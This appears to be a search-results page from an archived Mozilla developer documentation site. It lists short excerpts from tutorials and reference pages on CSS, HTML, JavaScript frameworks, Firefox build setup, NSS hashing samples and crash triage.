...here are two examples: <link type="text/css" rel="stylesheet" title="basic styles" href="basic.css" /> <link type="text/css" rel="stylesheet" title="fish and boats" href="ocean.css" /> according to the html 4.01 specification, only one of the preferred stylesheets can be used at a time.
...And 3 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
this innovation, first introduced by microsoft® internet explorer and later adopted into the css specification, is very popular for the styling of text links, particularly those that are supposed to look and act like javascript-driven "rollovers." however, advancing css support in browsers has caused some unexpectedly aggressive hovering behavior on some pages.
... bare pseudo-classes the second piece of the problem comes when we consider the effects of a "bare" pseudo-class in a selector.
... for example: :hover {color: red;} this is equivalent to the css2 rule: *:hover {color: red;} ..which translates as "any element that is being hovered should have its foreground colored red." thus, hovering over paragraphs, tables, headings, and any other element in a document will cause text to become red.
...And 3 more matches
Domain - MDN Web Docs Glossary: Definitions of Web-related terms
its "domain name" is a way to address this authority as part of the hierarchy in a url - usually the most memorable part of it, for instance a brand name.
... for example, in "developer.mozilla.org": "org" is called a top-level domain.
...here, "org" means "organization" which is defined in a top-level domain registry.
...And 3 more matches
Mobile accessibility - Learn web development
you can also "explore by touch" — hold your finger down on the screen and drag it around, and your device will read out the different apps/items you move across.
... swipe right until you find the "headings and landmarks" option.
... to go back to the default mode, enter the local context menu again by swiping up and right, select "default", and then double-tap to activate.
...And 3 more matches
Getting started with CSS - Learn web development
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>getting started with css</title> </head> <body> <h1>i am a level one heading</h1> <p>this is a paragraph of text.
... in the text is a <span>span element</span> and also a <a href="http://example.com">link</a>.</p> <p>this is the second paragraph.
... to link styles.css to index.html add the following line somewhere inside the <head> of the html document: <link rel="stylesheet" href="styles.css"> this <link> element tells the browser that we have a stylesheet, using the rel attribute, and the location of that stylesheet as the value of the href attribute.
...And 3 more matches
What is the difference between webpage, website, web server, and search engine? - Learn web development
these are also often called just "pages." website a collection of web pages which are grouped together and usually connected together in various ways.
... often called a "web site" or simply a "site." web server a computer that hosts a website on the internet.
... to access a website, type its domain name in your browser address bar, and the browser will display the website's main web page, or homepage (casually referred as "the home"): the ideas of a web page and a website are especially easy to confuse for a website that contains only one web page.
...And 3 more matches
Example 1 - Learn web development
basic state html <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-block; } .select.active, .select:focus { box-shadow: 0 0 3px 1px #227755; outline: none; } .select .optlist { position: absolute; top : 100%; left : 0; } .select .optlist.hidden { max-height: 0; visibility: hidden; } /* ------------ */ /* fancy styles */ /* ----...
...; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : ""; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; mar...
...id #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } result for basic state active state html <div class="select active"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> css /* --------------- */ /* required styles */ /* --------------- */ .select { position: relative; display : inline-bl...
...And 3 more matches
CSS basics - Learn web development
paste the following line in the head (between the <head> and </head> tags): <link href="styles/style.css" rel="stylesheet"> save index.html and load it in your browser.
... #my-id selects <p id="my-id"> or <a id="my-id"> class selector the element(s) on the page with the specified class.
... .my-class selects <p class="my-class"> and <a class="my-class"> attribute selector the element(s) on the page with the specified attribute.
...And 3 more matches
Add a hitmap on top of an image - Learn web development
an image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource.
...if the image is only present as a navigation device, you may write alt="", provided you furnish appropriate alt text in the <area> elements later on.
...then assign that name (preceded by a hash) as the value for the usemap attribute: <img src="image-map.png" alt="" usemap="#example-map-1" /> step 2: activate your hotspots in this step, put all your code inside a <map> element.
...And 3 more matches
Test your skills: Links - Learn web development
the second link should be turned into a link you can click to open up an email in the user's default mail application, with the recipient set as "whales@example.com".
... you'll get a bonus point if you also set it so that the subject line of the email is automatically filled in as "question about whales".
... note: the first link in the example has the target="_blank" attribute set on it, so that when you click on it, it opens the page in a new tab.
...And 3 more matches
Introducing asynchronous JavaScript - Learn web development
it uses xmlhttprequest (often abbreviated to "xhr") to fetch the resource at the given url, then pass the response to the callback to do something with.
...in essence, it's the browser's way of saying "i promise to get back to you with the answer as soon as i can," hence the name "promise." this concept can take practice to get used to; it feels a little like schrödinger's cat in action.
...this is much harder to do with callbacks, which often ends up with a messy "pyramid of doom" (also known as callback hell).
...And 3 more matches
Image gallery - Learn web development
the html body looks like this: <h1>image gallery example</h1> <div class="full-img"> <img class="displayed-img" src="images/pic1.jpg"> <div class="overlay"></div> <button class="dark">darken</button> </div> <div class="thumb-bar"> </div> the example looks like this: the most interesting parts of the example's css file: it absolutely positions the three elements inside the full-img <div> — the <img> in which the full-sized image is displayed, an empty...
... it sets the width of any images inside the thumb-bar <div> (so-called "thumbnail" images) to 20%, and floats them to the left so they sit next to one another on a line.
... you need to: put the section of code below the "looping through images" comment inside a loop that loops through all 5 images — you just need to loop through five numbers, one representing each image.
...And 3 more matches
Test your skills: Conditionals - Learn web development
we want you to create a conditional that checks whether season contains the string "summer", and if so assigns a string to response that gives the user an appropriate message about the season.
... to finish off, you should then add another test that checks whether season contains the string "winter", and again assigns an appropriate string to response.
...the different conditional tests (and resulting responses) are as follows: score of less than 0 or more than 100 — "this is not possible, an error has occurred." score of 0 to 19 — "that was a terrible score — total fail!" score of 20 to 39 — "you know some things, but it's a pretty bad score.
...And 3 more matches
Client-side storage - Learn web development
new school: web storage and indexeddb the "easier" features we mentioned above are as follows: the web storage api provides a very simple syntax for storing and retrieving smaller, data items consisting of a name and a corresponding value.
...add this snippet below your previous code: // stop the form from submitting when a button is pressed form.addeventlistener('submit', function(e) { e.preventdefault(); }); now we need to add an event listener, the handler function of which will run when the "say hello" button is clicked.
...ion when the 'say hello' button is clicked submitbtn.addeventlistener('click', function() { // store the entered name in web storage localstorage.setitem('name', nameinput.value); // run namedisplaycheck() to sort out displaying the // personalized greetings and updating the form display namedisplaycheck(); }); at this point we also need an event handler to run a function when the "forget" button is clicked — this is only displayed after the "say hello" button has been clicked (the two form states toggle back and forth).
...And 3 more matches
Drawing graphics - Learn web development
this is as simple as including the element on the page: <canvas width="320" height="240"></canvas> this will create a canvas on the page with a size of 320 by 240 pixels.
... <canvas width="320" height="240"> <p>your browser doesn't support canvas.
... add the following code into it, just below the opening <body> tag: <canvas class="mycanvas"> <p>add suitable fallback here.</p> </canvas> we have added a class to the <canvas> element so it will be easier to select if we have multiple canvases on the page, but we have removed the width and height attributes for now (you could add them back in if you wanted, but we will set them using javascript in a below section).
...And 3 more matches
Basic math in JavaScript — numbers and operators - Learn web development
enter the below two lines as shown: typeof myint; typeof myfloat; you should get "number" returned in both cases — this makes things a lot easier for us than if different numbers had different data types, and we had to deal with them in different ways.
... operator precedence let's look at the last example from above, assuming that num2 holds the value 50 and num1 holds the value 10 (as originally stated above): num2 + num1 / 8 + 2; as a human being, you may read this as "50 plus 10 equals 60", then "8 plus 2 equals 10", and finally "60 divided by 10 equals 6".
... but the browser does "10 divided by 8 equals 1.25", then "50 plus 1.25 plus 2 equals 53.25".
...And 3 more matches
Multimedia: video - Learn web development
for example, given video compressions in three different formats at 10mb, 12mb, and 13mb, declare the smallest first and the largest last: <video width="400" height="300" controls="controls"> <!-- webm: 10 mb --> <source src="video.webm" type="video/webm" /> <!-- mpeg-4/h.264: 12 mb --> <source src="video.mp4" type="video/mp4" /> <!-- ogg/theora: 13 mb --> <source src="video.ogv" type="video/ogv" /> </video> the browser downloads the first format it understands.
... <video autoplay="" loop="" muted="true" playsinline="" src="backgroundvideo.mp4"> while the loop and autoplay make sense for a looping and autoplaying video, the muted attribute is required for autoplay in mobile browsers.
... <video autoplay="" loop="" muted="true" playsinline="" id="hero-video"> <source src="banner_video.webm" type='video/webm; codecs="vp8, vorbis"'> <source src="web_banner.mp4" type="video/mp4"> </video> this hero-video code (above) is common to conference websites and corporate home pages.
...And 3 more matches
Working with Svelte stores - Learn web development
in the above code we import the writable() function from svelte/store and use it to create a new store called alert with an initial value of "welcome to the to-do list app!".
...ble = false, ms) // and hide it after ms milliseconds } } $: onmessagechange($alert, ms) // whenever the alert store or the ms props changes run onmessagechange ondestroy(()=> cleartimeout(timeout)) // make sure we clean-up the timeout </script> and update the alert.svelte markup section like so: {#if visible} <div on:click={() => visible = false}> <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 20 20"><path d="m12.432 0c1.34 0 2.01.912 2.01 1.957 0 1.305-1.164 2.512-2.679 2.512-1.269 0-2.009-.75-1.974-1.99c9.789 1.436 10.67 0 12.432 0zm8.309 20c-1.058 0-1.833-.652-1.093-3.524l1.214-5.092c.211-.814.246-1.141 0-1.141-.317 0-1.689.562-2.502 1.117l-.528-.88c2.572-2.186 5.531-3.467 6.801-3.467 1.057 0 1.233 1.273.705 3.23l-1.391 5.352c-.246.945-.141 1.
...271.106 1.271.317 0 1.357-.392 2.379-1.207l.6.814c12.098 19.02 9.365 20 8.309 20z"/></svg> <p>{ $alert }</p> </div> {/if} here we first create the prop ms with a default value of 3000 (milliseconds).
...And 3 more matches
Using Vue computed properties - Learn web development
if we have 2 of 5 items completed in our to-do list, our summary could read "3 items completed out of 5".
... add the described <h2> and update the <ul> inside your app's template as follows: <h2 id="list-summary">{{listsummary}}</h2> <ul aria-labelledby="list-summary" class="stack-large"> <li v-for="item in todoitems" :key="item.id"> <to-do-item :label="item.label" :done="item.done" :id="item.id"></to-do-item> </li> </ul> you should now see the list summary in your app, and the total number of items update as you add more todo items!
...currently, we're not actually tracking the "done" data in any fashion, so the number of completed items does not change.
...And 3 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
... educated guesses you could call these "assumptions", or "gut feelings".
... note: "the ceo of my company uses a blackberry, so we'd better make sure it looks good on that" can also be a persuasive argument.
...And 3 more matches
Adding a new CSS property
this will cause tests of your new property to be added to many of the mochitests in layout/style/test, which can be run with the command "./mach mochitest -f plain layout/style/".
... (which set the property is in is given in the specification, which says "inherited: yes" or "inherited: no" in the property's definition.) also note that some of the style structs intentionally contain only properties set/reset by a particular common shorthand property; this improves the effectiveness of some of the performance and memory optimizations done with the rule tree, and thus we should avoid adding a property not reset by that shorthand to such a struct.
... and for shorthands you also need to include a subproperty table in nscssprops, whose name must match the "method" argument in the css_prop_shorthand macro.
...And 3 more matches
Debugging JavaScript
to enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool settings.
... you can also start the browser console when you launch firefox, by launching firefox from the command line and passing --jsconsole as a flag: /path/to/firefox --jsconsole log to the browser console using the standard console api after importing console.jsm: let console = (cu.import("resource://gre/modules/console.jsm", {})).console; console.log("hello from firefox code"); error console this is obsolete and is no longer enabled in firefox by default.
...(note that before firefox 28, this was labeled "browser debugger" and only the debugger was available, not the whole toolbox.) note that you must accept the incoming connection : (you may disable the pop-up above with the devtools.debugger.prompt-connection set to false in about:config.
...And 3 more matches
Simple SeaMonkey build
ies' 'gnome software development' sudo yum install mercurial autoconf213 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel alsa-lib-devel libxt-devel gstreamer-devel gstreamer-plugins-base-devel pulseaudio-libs-devel # 'development tools' is defunct in fedora 19 and above use the following sudo yum groupinstall 'c development tools and libraries' sudo yum group mark install "x software development" mac: install xcode tools.
... insert "mac os x install disc 2", then open xcodetools.mpkg.
... (for some mac os x versions, you will find it in a directory called "optional installs".) install macports.
...And 3 more matches
Simple Sunbird build
insert "mac os x install disc 2", then open xcodetools.mpkg.
... (for some mac os x versions, you will find it in a directory called "optional installs".) install macports.
...you can use the "cd" command to do so.
...And 3 more matches
Creating Custom Events That Can Pass Data
as of gecko 1.8, if your event names do not start with "nsdom" and their interfaces do not start with "nsidom" then you can forget about passing data.
...you will find that there is a bunch of code like: if (aeventtype.lowercaseequalsliteral("{somethingsomething}event")) return ns_{somethingsomething}event(adomevent, aprescontext, nsnull); you can either have a function like this or write the code straight in nseventlistenermanager::createevent() like this: if (aeventtype.lowercaseequalsliteral("nsmyevent")){ //note: the lowercase is important!
... #include "nsidomevent.idl" [scriptable, uuid(08bea243-8a7b-4554-9ee9-70d7785d741b)] interface nsidommyevent: nsidomevent { //put members here!
...And 3 more matches
Obsolete Build Caveats and Tips
this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the command line when building on windows.
... if you're using visual studio, go to project properties > c/c++ > language > treat wchar_t as built-in type and set it to "yes".
... warning: due to a bug in old versions of mozillabuild (prior to 1.6), if you download version 7.1 of the windows 7 sdk (which is the current version available), your build will fail, often while building cairo with "ocidl.h" errors.
...And 3 more matches
HTTP Cache
//github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicachestorageservice.idl "@mozilla.org/netwerk/cache-storage-service;1" provides methods accessing “storage” objects – see nsicachestorage below – giving further access to cache entries – see nsicacheentry more below – per specific url.
... only one consumer (the so called "writer") may have such an entry available (obtained via oncacheentryavailable).
... other parallel openers of the same cache entry are blocked (wait) for invocation of their oncacheentryavailable until one of the following occurs: the writer simply throws the entry away: other waiting opener in line gets the entry again as "new", the cycle repeats.
...And 3 more matches
How to Report a Hung Firefox
or are you regularly seeing the "firefox is running but is not responding..." dialog?
...type "about:crashes" in the url bar and click on the top listing.
...type "about:crashes" in the url bar and click on the top listing.
...And 3 more matches
FxAccountsOAuthClient.jsm
components.utils.import("resource://gre/modules/fxaccountsoauthclient.jsm"); creating a new fxaccountsoauthclient new fxaccountsoauthclient(object options); method overview launchwebflow(); teardown(); attributes parameters object returns the set of parameters that initialized the firefox accounts oauth flow.
...first and only argument is an object that has "state" and "code" properties.
...example: "https://oauth.accounts.firefox.com/v1" content_uri - the fxa content server uri.
...And 3 more matches
Interfacing with the Add-on Repository
importing the repository code module before you can use the add-on repository api, you need to import the code module: components.utils.import("resource://gre/modules/addonrepository.jsm"); having done this, you can then access the api through the resulting addonrepository object.
...to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.recommended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.recommended.url", "https://services.addons.mozilla.org/%locale%/%app%/ap...
...i/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsservice.savepreffile(null); } this fetches the value of the extensions.getaddons.recommended.url preference, and, if the preference doesn't exist or has no value, sets the value of the preference to the correct one for the amo site.
...And 3 more matches
Following the Android Toasts Tutorial from a JNI Perspective
for example, navigating away from an email before you send it triggers a "draft saved" toast to let you know that you can continue editing later.
... java code let's start with the following java code, which invokes a toast and says "hello, firefox!".
... context context = getapplicationcontext(); charsequence text = "hello, firefox!"; int duration = toast.length_short; toast toast = toast.maketext(context, text, duration); toast.show(); nativewindow code as mentioned earlier, toasts are a very popular feature, so mozilla developers chose to bring it to the privileged javascript scope via the nativewindow object.
...And 3 more matches
Log.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this chunk of code.
... // use dots to create a hierarchy, this way you can later change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console.
...log.addappender(new log.dumpappender(new log.basicformatter())); // log some messages log.error("oh noes!!
...And 3 more matches
Localizing XLIFF files for iOS
in the <file> tag, add the target-language attribute with your locale code as the value (e.g., target-language="xx-xx").
...each <file> tag requires the target-language attribute with your locale code as the value (e.g., target-language="xx-xx").
...here is an example of such a <trans-unit> <trans-unit id="add to bookmarks"> <source>add to bookmarks</source> </trans-unit> your translations must be contained inside <target> child tags.
...And 3 more matches
Midas
properties document.designmode by setting this property to "on", the document becomes editable.
... examples this example shows the basic structure described in the notes section : <html> <head> <title>simple edit box</title> </head> <body> <iframe id="midasform" src="about:blank" onload="this.contentdocument.designmode='on';" ></iframe> </body> </html> methods document.execcommand executes the given command.
... the given string is such as would be used in the "face" attribute of the font tag, i.e., a comma-separated list of font names.
...And 3 more matches
NSS Sample Code Sample_1_Hashing
sample code 1 /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag.
...shnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); ...
... column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stder...
...And 3 more matches
NSS Sample Code sample3
sample code 3: hashing, mac /* * demonstration program for hashing and macs */ #include <iostream.h> #include "pk11pub.h" #include "nss.h" static void printdigest(unsigned char *digest, unsigned int len) { int i; cout << "length: " << len << endl; for(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } /* * main */ int main(int argc, const char *argv[]) { int status = 0; pk11slotinfo *slot = 0; pk11symkey *key = 0; pk11context *context = 0; unsigned char data[80]; unsigned char digest[20]; /*is there a way to tell how large the output is?*/ unsigned int len; secstatus s; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
... * this code uses the simplest of the init functions, which does not * require a nss database to exist */ nss_nodb_init("."); /* get a slot to use for the crypto operations */ slot = pk11_getinternalkeyslot(); if (!slot) { cout << "getinternalkeyslot failed" << endl; status = 1; goto done; } /* * part 1 - simple hashing */ cout << "part 1 -- simple hashing" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a context for hashing (digesting) */ context = pk11_createdigestcontext(sec_oid_md5); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, si...
...zeof data); if (s != secsuccess) { cout << "digestupdate failed" << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); pk11_destroycontext(context, pr_true); context = 0; /* * part 2 - hashing with included secret key */ cout << "part 2 -- hashing with included secret key" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a key */ key = pk11_keygen(slot, ckm_generic_secret_key_gen, 0, 128, 0); if (!key) { cout << "create key failed" << endl; goto done; } cout << (void *)key << endl; /* create parameters for crypto context */ /* note: params must be provided, but may be empty...
...And 3 more matches
Hashing - sample 1
*/ /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> #include <nss.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a secoidtag.
...metooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); ...
... column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stde...
...And 3 more matches
sample1
/* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> #include <prprf.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* maps a hash name to a secoidtag.
...t char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02...
...x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_...
...And 3 more matches
Shumway
the user has adobe flash player disabled (or set to "click-to-enable") for performance or security reasons.
...the simple method is to install the shumway extension (or run a browser version with shumway included and enabled) and browse to your flash content with adobe flash player set "ask to activate" or "never activate" in firefox's add-ons menu (this will be listed as "shockwave flash" under the plugins tab).
... note: if your applet runs at an abnormal speed, try toggling "turbo" at the bottom of the inspector window.
...And 3 more matches
64-bit Compatibility
to avoid equivocating, the rest of this article will use the term "native integers".
...quad versus float internally, "quads" are 64-bit opaque values in nanojit.
...for such opcodes there are two forms, an "undecorated" form which is 32-bit, and a form decorated with a "q" or "qi" that is 64-bit.
...And 3 more matches
Invariants
or, "the zen of spidermonkey".
... (here "the global object" refers to the object at the end of the scope chain of the function object we're executing.) requests many functions require a request.
... "are we in a request on cx?", where cx is any variable of type jscontext *, is a static yes for most lines of code where such a variable exists.
...And 3 more matches
Shell global objects
note: this list overlaps with "built-in functions" in introduction to the javascript shell and is probably not complete.
... objectemulatingundefined() return a new object obj for which typeof obj === "undefined", obj == null and obj == undefined (and vice versa for !=), and toboolean(obj) === false.
... setarmhwcapflags("flag1,flag2 flag3") on non-arm, no-op.
...And 3 more matches
TPS Bookmark Lists
for example: var bookmarks_after_second_modify = { "menu": [ { uri: "http://www.getfirefox.com/", title: "get firefox" } ], "menu/foldera": [ { uri: "http://mozilla.com", title: "mozilla" }, ] }; this describes two bookmarks, one in the "menu" folder, and the other in the "folder1" subfolder of "menu".
... all bookmark paths must begin with one of the following: "menu": the normal bookmarks menu "toolbar": the bookmarks toolbar "tags": the tags folder "unfiled": the unfiled bookmarks folder "places": the places root folder ("menu", "toolbar", and "unfiled" are all children of this) sub-folders are preceded with forward slashes, so "menu/folder1" denotes that "folder1" is a sub-folder of "menu".
...toggles the "load in sidebar" property.
...And 3 more matches
Thread Sanitizer
the build configuration file .mozconfig with the following content in your mozilla-central directory: mk_add_options moz_objdir=@topsrcdir@/objdir-ff-tsan mk_add_options moz_make_flags=-j12 # enable llvm specific code and build workarounds ac_add_options --enable-thread-sanitizer # if clang is already in your $path, then these can simply be: # export cc=clang # export cxx=clang++ export cc="/path/to/clang" export cxx="/path/to/clang++" # llvm-symbolizer displays much more complete backtraces when data races are detected.
... # if it's not already in your $path, then uncomment this next line: #export llvm_symbolizer="/path/to/llvm-symbolizer" # add tsan to our compiler flags export cflags="-fsanitize=thread -fpic -pie" export cxxflags="-fsanitize=thread -fpic -pie" # additionally, we need the tsan flag during linking.
...# note: the use of this flag causes clang to automatically link the tsan runtime :) export ldflags="-fsanitize=thread -fpic -pie" # these three are required by tsan ac_add_options --disable-jemalloc ac_add_options --disable-crashreporter ac_add_options --disable-elf-hack # keep symbols to symbolize tsan traces export moz_debug_symbols=1 ac_add_options --enable-debug-symbols ac_add_options --disable-install-strip # settings for an opt build ac_add_options --enable-optimize="-o2 -gline-tables-only" ac_add_options --disable-debug starting the build process now you start the build process using the regular make -f client.mk command.
...And 3 more matches
Exploitable crashes
if you see a hex address such as 0x292c2830 rather than a function name such as nslistboxbodyframe::getrowcount at the top of the stack, a bug has caused the program to transfer control to a "random" part of memory that isn't part of the program.
... look at the crash reason, which will usually be something like "kern_protection_failure (0x0002) at 0x00000000".
... mark the bug as security-sensitive by putting it into the "security-sensitive core bug" group.
...And 3 more matches
Retrieving part of the bookmarks tree
first, you need to get an empty query and options objects from the history service: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); var options = historyservice.getnewqueryoptions(); var query = historyservice.getnewquery(); find the folder you want to get known folder ids are retrieved from the bookmarks service.
...this example will get the id of the bookmarks toolbar: var bookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; the placesroot is the root folder in the whole places hierarchy.
...var rootnode = result.root; rootnode.containeropen = true; // iterate over the immediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it!
...And 3 more matches
XML Extras
edmond woychowsky has also written articles on xml data islands in mozilla: "make xml data islands work in mozilla", "build cross-browser xml paging code" and "implement a flexible shopping cart with xml and asp".
... below are some key differencies in "xml extras" between mozilla and microsoft software: difference microsoft mozilla member names case insensitive?
... begins with lower case letter xmlhttprequest creation new activexobject("msxml2.xmlhttp") new xmlhttprequest() xmlhttprequest.send("some string") ok ok starting with milestone 0.9.7 (actually nightly 2001-11-28).
...And 3 more matches
Avoiding leaks in JavaScript XPCOM components
with this strategy, a single pointer to the object is considered the "owner" of the object and the object is deleted through that pointer.
...in this strategy, the object has a member that is the number of other objects that "own" it.
... var private_data = 0; var result = new array(); result[0] = function() { return (private_data += 1); } result[1] = function() { return (private_data *= 2); } return result; } // this function returns the string "results: 1, 2, 4, 0, 5, 1, 10." function test() { var fns1 = function_array(); var fns2 = function_array(); return "results: " + fns1[0]() + ", " + // increments first private_data to 1 fns1[1]() + ", " + // doubles first private_data to 2 fns1[1]() + ", " + // doubles first private_data to 4 fns2[1]() + ", " + // doubles second p...
...And 3 more matches
XPCOM changes in Gecko 2.0
